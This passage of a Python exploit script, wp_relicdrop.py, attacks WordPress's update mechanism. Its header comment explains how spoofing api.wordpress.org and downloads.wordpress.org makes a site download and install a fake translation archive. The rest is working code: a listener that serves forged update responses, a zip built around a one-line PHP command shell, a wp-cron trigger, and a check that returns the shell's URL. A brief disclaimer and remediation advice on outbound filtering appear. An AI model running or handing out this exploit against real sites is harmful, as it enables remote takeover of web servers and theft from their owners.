| # into thinking there's a translation update available. 40 | # WordPress thinks translations are safe, so it goes to 41 | # download the zip file from the following domain: 42 | # 43 | # downloads.wordpress.org 44 | # 45 | # Guess what? If we can MitM api.wordpress.org then we can 46 | # MitM downloads.wordpress.org too. Now we just provide our 47 | # own zip file and WordPress will download it and extract it 48 | # to the server, shell and all. Oops. 49 | # 50 | # There's one caveat - WordPress does do some validation of 51 | # translation archives. Yeah, they're translation archives, 52 | # so they must contain at least one file with the extension 53 | # .po, and one file with the extension .mo. As long as 54 | # those files are present, it must be a valid translation 55 | # zip file and definitely can't be dangerous... 56 | # 57 | # So, yeah, that's what this does. Have fun, don't use it 58 | # against anything you don't have permission to test. 59 | # 60 | # Produced by @NickstaDB. Discovered by accident, see my 61 | # blog at the following link for more details: 62 | # 63 | # https://nickbloor.co.uk/2018/02/28/popping-wordpress/ 64 | # 65 | # I wasn't the first to discover the issue, at least one 66 | # other researcher reported this before me but the 67 | # discoveries were independent. The issues were reported to 68 | # WordPress but they basically took the stance of WONTFIX 69 | # for apparent compatibility reasons. 70 | # 71 | # ¯\_(ツ)_/¯ 72 | # 73 | # Remediation advice: 74 | # Use appropriate whitelist filtering for outbound network 75 | # traffic from your servers. E.g. block all outbound 76 | # traffic except that which is absolutely necessary for the 77 | # operation of the server and restrict necessary traffic as 78 | # best you can. Do not allow WordPress servers to make 79 | # outbound HTTP connections if you can help it. The MitM 80 | # fails over HTTPS with an invalid certificate, at which 81 | # point WordPress will attempt to make a HTTP connection 82 | # that you should deny. 83 | ############################################################ 84 | import base64 85 | import hashlib 86 | import os 87 | import requests 88 | import socket 89 | import StringIO 90 | import sys 91 | import threading 92 | import time 93 | import zipfile 94 | 95 | #Globals 96 | listen_addr = "" 97 | target_site = "" 98 | server_ready = False 99 | server_shutdown = False 100 | shell_fname = "" 101 | 102 | #Payload data 103 | PAYLOAD_COREVC = "\r\n".join([ 104 | "HTTP/1.1 200 OK", 105 | "Server: nginx", 106 | "Content-Type: application/json; charset=UTF-8", 107 | "Connection: close", 108 | "Vary: Accept-Encoding", 109 | "Access-Control-Allow-Origin: *", 110 | "X-Frame-Options: SAMEORIGIN", 111 | "Content-Length: 13", 112 | "", 113 | "{\"offers\":[]}" 114 | ]) 115 | PAYLOAD_PLUGINUC = "\r\n".join([ 116 | "HTTP/1.1 200 OK", 117 | "Server: nginx", 118 | "Content-Type: application/json; charset=UTF-8", 119 | "Connection: close", 120 | "Vary: Accept-Encoding", 121 | "Access-Control-Allow-Origin: *", 122 | "X-Frame-Options: SAMEORIGIN", 123 | "Content-Length: 260", 124 | "", 125 | "{\"plugins\":[],\"translations\":[{\"type\":\"plugin\",\"slug\":\"wp-relicdrop\",\"language\":\"en_GB\",\"version\":\"99.9\",\"updated\":\"2050-01-01 00:00:00\",\"package\":\"http://downloads.wordpress.org/translation/plugin/relic-drop/99.9/en_GB.zip\",\"autoupdate\":true}],\"no_update\":[]}" 126 | ]) 127 | LAME_PHP_SHELL = "';passthru($_GET['c']);echo '';}" 128 | 129 | #Disable SSL warnings from requests library 130 | requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) 131 | 132 | #Check command line params 133 | print "" 134 | if len(sys.argv) != 3: 135 | print "Usage: wp_relicdrop.py " 136 | print "" 137 | print " E.g. wp_relicdrop.py 123.123.123.123 http://www.target.net/" 138 | print "" 139 | print "Before using this exploit, make sure the target server will resolve the" 140 | print "following domain names to this host:" 141 | print "" 142 | print " api.wordpress.org" 143 | print " downloads.wordpress.org" 144 | print "" 145 | print "Note: WordPress will not download updates from RFC1918 or local IPs." 146 | print "" 147 | sys.exit(0) 148 | listen_addr = sys.argv[1] 149 | target_site = sys.argv[2] 150 | 151 | #Generate a filename for the uploaded PHP shell 152 | def generateShellFilename(): 153 | md = hashlib.sha1() 154 | md.update(os.urandom(64)) 155 | return md.hexdigest() + ".php" 156 | 157 | #Generate a HTTP response containing a zipped PHP shell with the given filename 158 | def generatePayload(fn): 159 | global LAME_PHP_SHELL 160 | 161 | #Zip up the shell 162 | data_buffer = StringIO.StringIO() 163 | zip_file = zipfile.ZipFile(data_buffer, "a", zipfile.ZIP_DEFLATED, False) 164 | zip_file.writestr(fn, LAME_PHP_SHELL) 165 | zip_file.writestr("fake.po", "foo") #Translations file must contain .po and .mo files, otherwise 166 | zip_file.writestr("fake.mo", "foo") #WordPress won't install the translation (and shell). 167 | zip_file.filelist[0].create_system = 0 168 | zip_file.filelist[1].create_system = 0 169 | zip_file.filelist[2].create_system = 0 170 | zip_file.close() 171 | data_buffer.seek(0) 172 | zip_bytes = data_buffer.read() 173 | 174 | #Build and return a HTTP response containing the payload 175 | return "\r\n".join([ 176 | "HTTP/1.1 200 OK", 177 | "Content-Type: application/zip", 178 | "Content-Length: " + str(len(zip_bytes)), 179 | "Connection: close", 180 | "Cache-control: private", 181 | "Content-Disposition: attachment; filename=relic-drop-99.9-en_GB.zip", 182 | "", 183 | zip_bytes 184 | ]) 185 | 186 | #HTTP server thread 187 | #The target site needs to connect to this host instead of (e.g. spoof DNS): 188 | # 1) api.wordpress.org 189 | # 2) downloads.wordpress.org 190 | #When connections come in, this thread looks for the right requests and responds with relevant payloads 191 | def serverThread(): 192 | global server_shutdown, server_ready, shell_fname, PAYLOAD_COREVC, PAYLOAD_PLUGINUC 193 | 194 | #Start server socket 195 | print "[+] Attempting to start HTTP listener on " + listen_addr + ":80" 196 | try: 197 | server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 198 | server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 199 | server_sock.settimeout(1.0) 200 | server_sock.bind((listen_addr, 80)) 201 | server_sock.listen(5) 202 | except Exception as e: 203 | print "[-] Failed to start HTTP listener." 204 | print e 205 | return 206 | 207 | #Ready to go... 208 | print "[+] Listening for connections on " + listen_addr + ":80" 209 | server_ready = True 210 | 211 | #Connection handling loop 212 | while server_shutdown == False: 213 | try: 214 | (client_sock, client_addr) = server_sock.accept() 215 | print "[+] Connection received from " + client_addr[0] 216 | 217 | #Read the HTTP request from the target WordPress site 218 | req = client_sock.recv(4096) 219 | 220 | #Check for a core version check 221 | if req.startswith("POST /core/version-check/") == True: 222 | #Send response to trigger automatic update process 223 | print " [+] Core version check request, triggering automatic updater..." 224 | client_sock.sendall(PAYLOAD_COREVC) 225 | 226 | #Check for a plugin update check 227 | if req.startswith("POST /plugins/update-check/") == True: 228 | #Send back details of a fake translation update 229 | print " [+] Plugin update check request, triggering translation update..." 230 | client_sock.sendall(PAYLOAD_PLUGINUC) 231 | 232 | #Check for requests for a translation archive 233 | if "Host: downloads.wordpress.org" in req: 234 | #Generate a zip file containing a PHP shell and send it back 235 | print " [+] Translation archive request, delivering zipped PHP shell..." 236 | shell_fname = generateShellFilename() 237 | client_sock.sendall(generatePayload(shell_fname)) 238 | 239 | #Exploit complete, return... 240 | client_sock.close() 241 | return 242 | 243 | #Close the client socket and continue handling connections 244 | client_sock.close() 245 | except socket.timeout: 246 | pass 247 | 248 | #Print status 249 | print "wp_relicdrop.py - WordPress update MitM shell drop exploit" 250 | print "" 251 | print "Disclaimer: Do not use this against systems you do not have permission to test." 252 | print "" 253 | 254 | #Confirm DNS spoofing 255 | print "To use this exploit, the target must resolve the following domains to this host:" 256 | print " * api.wordpress.org" 257 | print " * downloads.wordpress.org" 258 | print "" 259 | try: 260 | raw_input("Hit return to continue with exploitation...") 261 | except: 262 | print "" 263 | sys.exit(0) 264 | 265 | #Start the server thread 266 | server_thread = threading.Thread(target=serverThread) 267 | server_thread.start() 268 | 269 | #Give the server thread 5 seconds to start listening 270 | timer = time.time() 271 | while server_ready == False and (time.time() - timer) < 5: 272 | pass 273 | if server_ready == False: 274 | if server_thread.isAlive() == False: 275 | print "[-] Failed to start server thread, is another process using port 80?" 276 | sys.exit(1) 277 | else: 278 | print "[-] Server thread appears to have hung without exception or creating a listening socket, weird..." 279 | sys.exit(2) 280 | 281 | #Issue a GET request to wp-cron.php to trigger the auto-update process 282 | print "[+] Requesting wp-cron.php to trigger the update process..." 283 | if target_site.endswith("/") == False: 284 | target_site = target_site + "/" 285 | response = requests.get(target_site + "wp-cron.php", verify=False) 286 | if response.status_code != 200: 287 | print "[-] Error: " + target_site + "wp-cron.php returned non-200 status code (" + str(response.status_code) + ")" 288 | server_shutdown = True 289 | sys.exit(3) 290 | 291 | #Hopefully the target site is now checking for updates... 292 | #Give the server thread 60 seconds to do its magic... 293 | print "[+] Waiting 60s for update requests to inject shell..." 294 | timer = time.time() 295 | while server_thread.isAlive() == True and (time.time() - timer) < 60: 296 | pass 297 | 298 | #Check if the server thread is still running 299 | if server_thread.isAlive() == True: 300 | print "[-] Exploit timed out, the target may be unable to connect to this host or" 301 | print " the target may have recently checked for updates. The update check won't" 302 | print " run again for 60 seconds after it last ran." 303 | 304 | #Join the thread 305 | print "[~] Shutting down server thread" 306 | server_shutdown = True 307 | server_thread.join(60) 308 | else: 309 | #Check for shell 310 | print "[+] Checking target for shell..." 311 | response = requests.get(target_site + "wp-content/languages/plugins/" + shell_fname, verify=False) 312 | if response.status_code != 200: 313 | print "[-] Exploit completed, but no shell was found on the target server. The server" 314 | print " user may have insufficient permissions to write to" 315 | print " /wp-content/languages/plugins." 316 | else: 317 | print "[+] Exploitation was successful, access the command shell at the following URL:" 318 | print " " + target_site + "wp-content/languages/plugins/" + shell_fname 319 | --------------------------------------------------------------------------------